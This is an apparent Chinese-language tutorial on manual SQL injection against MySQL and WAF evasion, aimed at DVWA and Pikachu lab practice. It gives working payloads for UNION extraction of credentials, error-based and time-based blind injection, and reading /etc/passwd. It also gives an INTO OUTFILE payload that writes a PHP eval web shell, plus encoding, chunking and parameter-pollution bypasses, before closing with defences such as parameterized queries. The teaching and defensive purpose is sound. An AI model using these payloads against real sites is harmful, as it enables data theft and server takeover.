1. 项目概述:从“万能钥匙”到“外科手术”
提起SQL注入,很多人的第一反应就是那个经典的‘ or 1=1 --。这就像一把“万能钥匙”,在早期的、毫无防护的Web应用面前,几乎能打开所有大门。但如果你今天还只拿着这把钥匙去闯荡,大概率会撞得头破血流——不是被现代WAF(Web应用防火墙)无情拦截,就是面对复杂的应用逻辑束手无策。
我干了十多年安全测试和渗透,越来越觉得,把SQL注入理解成“拼接字符串绕过登录”是最大的误解。它本质上是一场与应用程序逻辑和数据库引擎的深度对话,一次精密的“外科手术”。or 1=1只是最粗暴的“开膛破肚”,而真正的高手,需要懂得在WAF的“免疫系统”监视下,找到血管和神经的缝隙,精准下刀。这次,我们就抛开自动化工具,回归“手注”的本质,拆解那些让WAF形同虚设的底层逻辑。无论你是想在DVWA、Pikachu靶场里通关,还是想理解真实环境中那些CVE漏洞(比如CVE-2014-3704 Drupal 7的未授权SQL注入)的利用精髓,这套思维方法都是核心。
2. 思维重塑:理解注入的本质与WAF的盲区
在动手之前,我们必须先扭转思维。SQL注入不是“猜密码”,而是“构造合法SQL语句”。
2.1 注入点:应用程序与数据库的“翻译接口”
想象一下,你(用户)通过网页表单提交了一个名字(如Tom)。应用程序(如PHP代码)收到后,会把它“翻译”成数据库能听懂的语言。如果代码写得不好,翻译过程可能就是简单的字符串拼接:
$sql = “SELECT * FROM users WHERE name = ‘“ . $_GET[‘name’] . “’”;当你提交Tom,最终的SQL语句是:SELECT * FROM users WHERE name = ‘Tom‘。这没问题。但如果你提交的是Tom‘ or ‘1’=’1呢?拼接后就变成了:
SELECT * FROM users WHERE name = ‘Tom‘ or ‘1’=’1’这里的or ‘1’=’1’永远为真,导致整个WHERE条件失效,返回所有用户数据。这就是最基础的注入。但现代应用很少这么写了,WAF也会直接拦截or、1=1这种明显特征。
所以,手注的第一步不是丢payload,而是观察和分析:这个参数被“翻译”后,在最终的SQL语句中扮演什么角色?它是包裹在单引号里,还是双引号里?或者根本没有引号(数字型)?它是否被用于ORDER BY、LIMIT或者表名、列名位置?不同的位置,构造手法的差异巨大。
2.2 WAF的工作原理与核心盲区
WAF不是人工智能,它主要依靠规则匹配(正则表达式)来拦截可疑请求。它的优势是快,能覆盖已知攻击模式;劣势是死板,难以理解上下文。
WAF的常见拦截逻辑包括:
- 关键词黑名单:拦截
union select,sleep(,benchmark(,extractvalue(,updatexml等明显的关键词。 - 语法特征检测:检测连续的
‘、“、#、--等可能用于闭合语句的符号。 - 逻辑异常检测:如
1=1、1‘ and ‘1’=’2这类恒真恒假的条件。 - 敏感函数调用:检测
load_file(),into outfile等危险函数。
而我们的核心绕过思路,就是针对这些死板的规则:
- 混淆与变形:让攻击载荷“看起来”不像攻击载荷。比如用
/**/代替空格,用%0a(换行符)分割语句。 - 等价替换:用功能相同但字符串不同的表达式。比如不用
1=1,用2>1,不用or,用||(在某些数据库中)。 - 上下文利用:利用WAF难以完整解析整个SQL语句上下文的弱点。例如,将payload拆分到多个参数中,或者利用HTTP参数污染(HPP)等技术。
- 溢出与性能绕过:有些WAF对单个请求体或参数长度有限制,超长或超复杂的payload可能导致其检测模块被绕过或崩溃。
注意:绕过WAF的前提是,你的注入payload在数据库层面最终能被正确解析和执行。因此,所有混淆操作都必须保证在数据库引擎看来,其语义是清晰不变的。这需要你对目标数据库(MySQL、MSSQL、PostgreSQL等)的SQL语法和解析特性有深入了解。
3. 手注实战全流程拆解:以MySQL为例
我们假设一个经典的注入场景:一个用户查询功能,URL为/user.php?id=1,后端疑似执行了SELECT username, email FROM users WHERE id = $_GET[‘id’]。我们将一步步“手动”推进。
3.1 第一步:侦察与确认——判断注入点与类型
目标:确认是否存在注入点,并判断是字符型、数字型还是其他。
操作与思考:
基础探测:
- 输入
id=1,正常返回用户1的信息。 - 输入
id=1‘,观察页面。如果返回数据库错误(如You have an error in your SQL syntax...),则极有可能是字符型注入,并且单引号未被过滤。如果页面空白、报500错误或跳转,也可能是注入迹象,但需要进一步判断。 - 输入
id=1‘ and ‘1’=’1和id=1‘ and ‘1’=’2。如果前者返回正常,后者返回异常(无数据或错误),则基本确认存在字符型注入。这里and ‘1’=’1是永真条件,不影响原查询;and ‘1’=’2是永假条件,应导致查询无结果。
- 输入
WAF初步试探:
- 如果
and、‘被拦截,尝试变形:id=1‘ anandd ‘1’=’1:WAF可能拦截and,但anandd被拦截规则匹配后,中间的and被识别,后端代码有时会错误地删除或替换掉匹配到的关键词,变成and。这需要猜解WAF的过滤逻辑。id=1‘ %26%26 ‘1’=’1:%26%26是&&的URL编码,在MySQL中也是“与”的意思。id=1‘ /*!and*/ ‘1’=’1:利用MySQL内联注释,/*! ... */中的内容在MySQL中会被执行,在其他数据库或WAF解析时可能被忽略。
- 关键技巧:不要一上来就用复杂payload。从最简单的异常输入(一个引号)开始,观察服务器的“反应模式”(错误信息、状态码、响应时间、页面内容差异),这比工具返回的一个“可能存在注入”有价值得多。
- 如果
3.2 第二步:信息收集——获取数据库结构
目标:在确认注入点后,在不触发WAF的情况下,获取数据库名、表名、列名。
操作与思考:
判断列数(
ORDER BY):- 目的是为后续
UNION SELECT做准备。UNION前后查询的列数必须相同。 - Payload:
id=1‘ order by 5 --+ - 逐步增加
order by后面的数字(5,6,7...),直到页面报错或返回异常。假设order by 4正常,order by 5错误,则说明主查询有4列。 - WAF绕过点:
order by可能被拦截。- 尝试
id=1‘ /*!order*/ /*!by*/ 4 --+ - 尝试
id=1‘ oRder bY 4 --+(大小写混淆) - 尝试用
GROUP BY替代,如id=1‘ group by 1,2,3,4 --+,通过是否报错来判断列数。
- 尝试
- 目的是为后续
判断回显点(
UNION SELECT):- 知道了列数(例如4列),我们构造
UNION SELECT,让数据库将我们想要的信息直接显示在页面上。 - Payload:
id=-1‘ union select 1,2,3,4 --+ - 将
id设为-1或一个不存在的值,目的是让原查询结果为空,从而使页面只显示我们union select的结果。页面上显示的数字(如2和3),就是我们可以用来回显数据的位置。 - WAF绕过点:
union select是重点监控对象。- 空白符替换:
union%0aselect,union/**/select。 - 注释包裹:
union/*aaaa*/select,/*!union*/ /*!select*/。 - 多重嵌套:
ununionion selselectect,配合WAF的过滤机制(可能删除union,留下union)。 - 非常规语法:在MySQL中,
union distinct select和union select等价,但字符串可能不同。
- 空白符替换:
- 知道了列数(例如4列),我们构造
获取关键信息:
- 假设回显点在2和3。我们替换它们:
- Payload:
id=-1‘ union select 1,database(),user(),4 --+ - 这样,
database()(当前数据库名)和user()(当前数据库用户)就会显示在页面2和3的位置。 - 接着获取表名:
- Payload:
id=-1‘ union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() --+ information_schema.tables是MySQL的系统表,存储了所有表的信息。group_concat()函数将多行结果合并成一个字符串,方便查看。- 实操心得:如果
information_schema被WAF拦截或数据库用户无权访问,可以考虑盲注或时间盲注来逐字符猜解表名,或者利用已知的CVE漏洞特性(如Drupal的CVE-2014-3704,利用了展开数组时的SQL注入,有其特定的利用路径)。
3.3 第三步:数据提取——获取目标表数据
目标:从感兴趣的表(如users)中提取字段(如username,password)。
操作与思考:
获取列名:
- Payload:
id=-1‘ union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name=‘users‘ --+ - 这里需要知道表名
users,并用引号括起来。如果引号被过滤,可以用十六进制表示:table_name=0x7573657273(users的十六进制)。
- Payload:
提取数据:
- 知道了列名(
username,password),就可以直接查询了。 - Payload:
id=-1‘ union select 1,username,password,4 from users --+ - 如果密码是哈希值(如MD5),可能需要后续破解。
- 高级技巧:如果
union被卡死,可以考虑使用报错注入或盲注来提取数据。例如,使用updatexml()或extractvalue()函数,通过构造错误的XPath路径,让数据库在错误信息中返回我们查询的数据。 - 报错注入示例:
id=1‘ and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+。0x7e是波浪号~,concat将其与查询结果拼接,updatexml解析错误时会将这些内容输出到错误信息中。注意:updatexml和extractvalue同样在WAF的黑名单里,需要做混淆。
- 知道了列名(
3.4 第四步:权限提升与后续操作
目标:评估数据库用户权限,尝试读写文件或执行命令。
操作与思考:
- 判断权限:
user()函数返回的用户名和主机。root@localhost意味着高权限。- 查询
select super_priv, file_priv from mysql.user where user=substring_index(user(),‘@‘,1)可以判断是否有超级权限和文件操作权限。
- 文件读取:
- 如果拥有
FILE权限,可以尝试读取服务器文件:id=-1‘ union select 1,load_file(‘/etc/passwd‘),3,4 --+ - WAF绕过:
load_file是敏感词。可以尝试路径混淆、使用十六进制路径、或利用union子查询等方式。
- 如果拥有
- 文件写入(获取Webshell):
- 这是高危操作。需要
FILE权限和Web目录的可写路径。 - Payload:
id=1‘ into outfile ‘/var/www/html/shell.php‘ lines terminated by 0x3c3f70687020406576616c28245f504f53545b2763275d293b203f3e --+ - 这段payload将一句话PHP木马(
<?php @eval($_POST[‘c‘]); ?>的十六进制)写入到Web目录下的shell.php文件中。 - 极度谨慎:此操作动静极大,极易触发安全告警,且在法律授权的渗透测试中也需要明确授权。在靶场(如DVWA的高等级)中练习时,也需注意靶场环境是否允许。
- 这是高危操作。需要
4. 高级WAF绕过技巧深度剖析
当基础混淆失效时,我们需要更深入地利用WAF与数据库解析的差异。
4.1 利用数据库特性进行混淆
不同数据库有独特的语法特性,WAF规则可能无法全覆盖。
- MySQL内联注释:
/*!50001select*/ 1。/*!50001 ... */表示在MySQL版本>=5.00.01时执行其中的内容。可以用于包裹关键词。 - 空白符替代:
- 普通空格:
%20 - 制表符:
%09 - 换行符:
%0a,%0d - 注释:
/**/,/*abcd*/ - 括号:在MySQL中,某些情况下括号可以用于分隔,如
select(1)from(users)。
- 普通空格:
- 字符串编码与变形:
- 十六进制:
select 0x616263等价于select ‘abc‘。 - 字符函数:
select char(97,98,99)等价于select ‘abc‘。 - URL编码、双重URL编码:有时WAF只做一次解码,
%2527(%27的编码)被WAF解码成%27,传到后端再解码成单引号‘。
- 十六进制:
4.2 分块传输编码(Chunked Transfer Encoding)
这是一种HTTP协议特性。将请求体分块发送,可以扰乱一些依赖于完整请求体进行模式匹配的WAF。一些高级渗透工具(如Burp Suite的插件)可以自动化这个过程。其原理是让WAF看到的是一个不完整的“碎片化”的请求,而后端Web服务器在接收完所有分块后会将其重组为完整的请求体,从而成功执行注入。
4.3 参数污染与参数拆分
- HTTP参数污染(HPP):提交多个同名参数,如
id=1&id=2‘ union select 1,2,3 --+。不同的Web服务器(Apache, IIS, Nginx)对同名参数的处理方式不同(取第一个、取最后一个、合并等)。WAF可能只检查其中一个,而应用程序实际使用的却是另一个,从而形成绕过。 - 参数拆分:将一个完整的payload拆分到多个不同的参数中。例如,原本的
id=1‘ union select 1,2,3,可以尝试拆成id=1‘ /*&a=*/union/*&b=*/select 1,2,3。WAF单独检查每个参数时可能无害,但后端拼接后却构成攻击。
4.4 时间盲注(Time-Based Blind Injection)对抗WAF
当页面没有任何回显(无数据、无错误信息),且WAF拦截了所有显错和union语句时,时间盲注是最后的利器。其核心是通过构造条件语句,控制数据库执行延时函数,通过页面响应时间的差异来判断条件真伪。
- 基础Payload:
id=1‘ and if(ascii(substr(database(),1,1))>100,sleep(5),0) --+ - 含义:如果当前数据库名第一个字符的ASCII码大于100,则让数据库睡眠5秒,否则立即返回。通过观察页面响应是否延迟5秒,就能逐位猜解出数据。
- WAF绕过要点:
sleep()是敏感词。可以尝试用benchmark(10000000,md5(‘test‘))来制造CPU运算延时。- 将条件判断和延时函数进行复杂混淆,如嵌套使用
case when ... then ... else ... end语句。 - 时间盲注效率极低,需要自动化脚本辅助。但它的优势在于流量特征极其隐蔽,看起来只是一系列普通的、带有不同参数值的请求,很难被基于规则的WAF识别。
5. 实战案例与靶场通关思维
理解了原理,我们将其应用到具体环境。
5.1 DVWA靶场(从Low到Impossible)
- Low级别:几乎没有防护,是练习手注流程的绝佳场地。重点练习
‘确认、order by、union select、information_schema查询的全过程。 - Medium级别:使用了
mysql_real_escape_string()函数处理输入,并对id参数做了int强制类型转换。数字型注入,无需闭合引号。Payload如1 union select 1,2,3。这里考察的是对注入类型的识别。 - High级别:输入被限制在单行,且使用了
LIMIT 1。注入点转移到了Cookie或另一个隐藏的输入框。需要你发现真正的注入点,并可能用到#注释符(因为--需要空格,可能受限制)。 - Impossible级别:使用了预处理语句(Prepared Statements),从根本上杜绝了SQL注入。这时,任何注入尝试都是徒劳的。这个级别的意义在于告诉你:修复SQL注入的最佳且唯一彻底的方法,就是使用参数化查询(预处理语句)。
5.2 Pikachu靶场SQL注入关卡
Pikachu靶场提供了更丰富的场景:
- 数字型/字符型/搜索型注入:锻炼你判断闭合方式的能力。搜索型注入通常需要处理
%和_等通配符。 - XX型注入:考察对
INSERT、UPDATE、DELETE语句的注入利用,思路与SELECT类似,但目的是篡改数据或利用UPDATE写入Webshell。 - “盲注”和“宽字节”:
- 盲注:系统性地练习布尔盲注和时间盲注的脚本编写和手工推断思维。
- 宽字节注入:一个经典案例。当数据库使用GBK等宽字符集,且PHP使用
addslashes或mysql_real_escape_string转义时(会在‘前加\,变成\‘),如果用户输入%df‘,经过转义变成%df\‘。在GBK编码下,%df\可能被识别为一个宽字符(如“運”),从而使后面的‘逃逸出来,形成注入。绕过思路在于利用字符编码转换的漏洞。
5.3 从CVE-2014-3704看真实漏洞利用
Drupal 7的这个漏洞之所以危险,在于它是一个“未授权”的SQL注入,意味着攻击者无需登录即可利用。其根源在于Drupal对数组键名处理不当。一个简化的攻击载荷可能像这样:向某个端点发送POST数据,其中包含精心构造的数组,如query[conditions][0][field][0][value]=...,最终这个数组的键值在被拼接到SQL语句时未经过滤。
给我们的启示:
- 漏洞不只在常见位置:注入点可能隐藏在复杂的框架数据处理逻辑中,不一定是简单的
id=。 - 自动化工具可能失效:对于这种需要特定格式(如数组)触发的漏洞,普通的SQL注入扫描器很难发现。需要代码审计或对框架特性的深入理解。
- 利用链可能很复杂:真实漏洞的利用往往需要结合多个步骤,比如先通过注入获取管理员密码哈希,再破解或重放Cookie进入后台,最后上传Webshell。
6. 防御视角:如何写出“免疫”手注的代码
作为开发者,理解攻击是为了更好的防御。
- 首选:参数化查询(预处理语句):这是根治SQL注入的银弹。无论是PHP的PDO,Java的PreparedStatement,还是Python的
cursor.execute(“SELECT * FROM users WHERE id = %s”, (user_id,)),其原理都是将SQL语句的结构(模板)与数据分开。数据库先编译语句结构,再将数据作为纯参数传入,从根本上杜绝了数据改变语句结构的可能。 - 严格的输入验证与类型转换:如果
id应该是数字,就在代码入口处强制转换为整型:$id = (int)$_GET[‘id‘];。对于字符串,定义允许的字符白名单(如只允许字母数字),拒绝其他任何字符。 - 最小权限原则:连接数据库的应用程序账号,只赋予其完成业务所需的最小权限。禁止
FILE、GRANT、SHUTDOWN等高级权限。这样即使发生注入,危害也被限制在单个数据库的查询范围内。 - 错误信息处理:生产环境禁止将详细的数据库错误信息直接返回给用户。应使用统一的、模糊的错误页面。这不会阻止注入,但会极大增加攻击者判断注入成功与否和获取信息的难度。
- 使用Web应用防火墙(WAF):虽然我们讨论了绕过,但WAF仍然是重要的纵深防御层。它可以拦截大量自动化工具扫描和已知攻击模式,为修复漏洞争取时间。但切记,WAF是“盾”,不是“根”,代码安全才是根本。
- 定期安全审计与渗透测试:使用自动化工具(如SQLMap)结合手动测试,定期对系统进行安全检查。特别是对业务逻辑复杂、用户输入点多的功能进行重点审查。
手工SQL注入是一门逐渐式微但精髓永存的手艺。在自动化工具大行其道的今天,坚持手注练习,能让你穿透WAF告警的迷雾,真正理解数据是如何在应用与数据库之间流动的,漏洞是如何在代码的细微缝隙中产生的。这种对底层逻辑的把握,是成为一个真正安全研究员的基石。在靶场里,你可以大胆尝试所有学到的绕过技巧;但在真实世界中,请务必牢记法律与道德的边界,你的技能应该用于建设,而非破坏。